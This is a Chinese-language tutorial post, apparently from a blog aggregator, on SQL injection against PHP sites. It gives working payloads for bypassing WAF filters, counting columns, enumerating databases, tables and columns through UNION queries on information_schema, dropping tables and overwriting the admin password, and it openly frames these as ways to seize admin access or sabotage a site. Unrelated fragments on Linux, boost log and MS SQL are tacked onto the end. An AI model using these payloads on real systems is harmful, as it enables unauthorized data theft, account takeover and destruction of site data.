以 php 為例
引發 sql 注入失敗最主要的原因是什麼主要就是 waf 和手工保護**,waf 用於攔截惡意**,但是 waf 很好繞過,規則是死的,人是活的。waf 部署在伺服器端,根據預先定義的規則對 http 請求進行過濾,繼而攔截一些通用的必然 xss 和 sql 攻擊。
order by 語句被攔截?
這個情況很少發生,,但是有時候 waf 由於某些原因會攔截,不過,我們可以繞過,方法很簡單,用 group by 就可以了。因為不再 waf 的規則列表裡
比如下面這樣提示 403 forbidden
order by 100--可以嘗試一下 group by
group by 100-- 成功
但是,有可能這個還會被攔截。所以我們使用一條流傳不那麼廣泛的乙個語句。那就是
(主查詢語句)=(select 1)
and (select * from admins)=(select 1)
可能會返回乙個錯誤,類似 operand should contain 5 column(s).
這樣我們就知道有 5 列了。
然後 union select 就懂了。。
union select 1,2,3,4,5--order by 10000 了仍然沒有報錯?
這裡講一下有時候 order by 可以用,但是到 10000 了還是不報錯,與上一節不同的是,上
一節是請求被 waf 攔截,這裡呢,則是因為注入語句有點不同,當我第一次遇到的時候,
我天真的以為資料庫表裡真的有 10000 列。答案很簡單,order by 1000000 還是不報錯,是
因為我們的注入語句沒有執行。
order by 10000000000-- 不報錯
我們稍微改變一下 url ,在 id 後面加乙個單引號,並且在最後加乙個加號。
' order by 10000000--+ 報錯
然後開始使用 union 查詢就行了,方法一樣。
' union select 1,2,3,4,5,6,7,8--+
從其他資料庫裡獲取資料
有時候我們注入成功了,但是讀出來的表都是些新聞啊,相簿啊,文章啊,之類的,我們要
找的可是管理,登入表啊。這時候我們就需要看一下是不是還有其他的資料庫。
首先獲取所有的資料庫名:
union select 1,2,group_concat(schema_name),4 from information_schema.schemata
然後獲得指定資料庫的表:
union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema= (這裡填寫資料庫 hex 編碼)
然後獲取所有列:
union select 1,2,group_concat(column_name),4 from information_schema.tables
where table_schema=(這裡填寫資料庫 hex 編碼) and table_name=(這裡填寫表名的 hex 編碼)
通過 sql 注入可以修改資料庫裡的資訊嗎?
sql 可以查詢,更新,插入資訊,所以,查詢資訊只是其中的乙個功能,有時候無法破解
管理員帳號的 md5 值。那麼為什麼不自己加乙個呢..insert 插入語句就可以,如果找不到
後台,**一點,乾脆直接 drop 掉整個表,這樣,管理員也登陸不上了。**也壞了。還
可以通過 update 更新語句來修改管理員密碼,
假設這裡存在注入。
我們通過 union 獲取了一些表名,比如有個 news,那麼我們通過下面這個語句刪除 news
表。; drop table news
; update 'admin_login' set 'password' = '你自己的 md5' where login_name='admin'--
Linux中的幾個問題
明天期末考試,就把往年試卷上的敘述題總結一下 1.如果乙個設定使用者id程式未執行任何改變程序的實際使用者id和有效使用者id的系統呼叫,那麼執行該程式的程序,它的實際使用者id和有效使用者id各是什麼?答 實際使用者id在登入時取自口令檔案中的登入項,如果沒有執行任何改變實際使用者id和有效使用者...
boost log 中的幾個問題
boost 日誌示例中有乙個錯誤 下面這個檔案 應該在開頭加一行 include 否則會出下列錯錯誤 error c2027 使用了未定義型別 boost log v2s mt nt5 expressions aux date time formatter generator traits d li...
MS SQL中的幾個問題
1,儲存過程中用到的 n 的意義.n的作用就是如果你的作業系統是簡體中文,你在n後面的單引號裡輸入了日本 德文 法文什麼的,能保證你的字串是正確的,這時n就要必寫 反之如果n後面的單引號裡只有英文和簡體中文 長度不能超過十幾k 那這個n寫與不寫是一樣的。上面的解釋和你所看到是同乙個意思,簡單的可以認...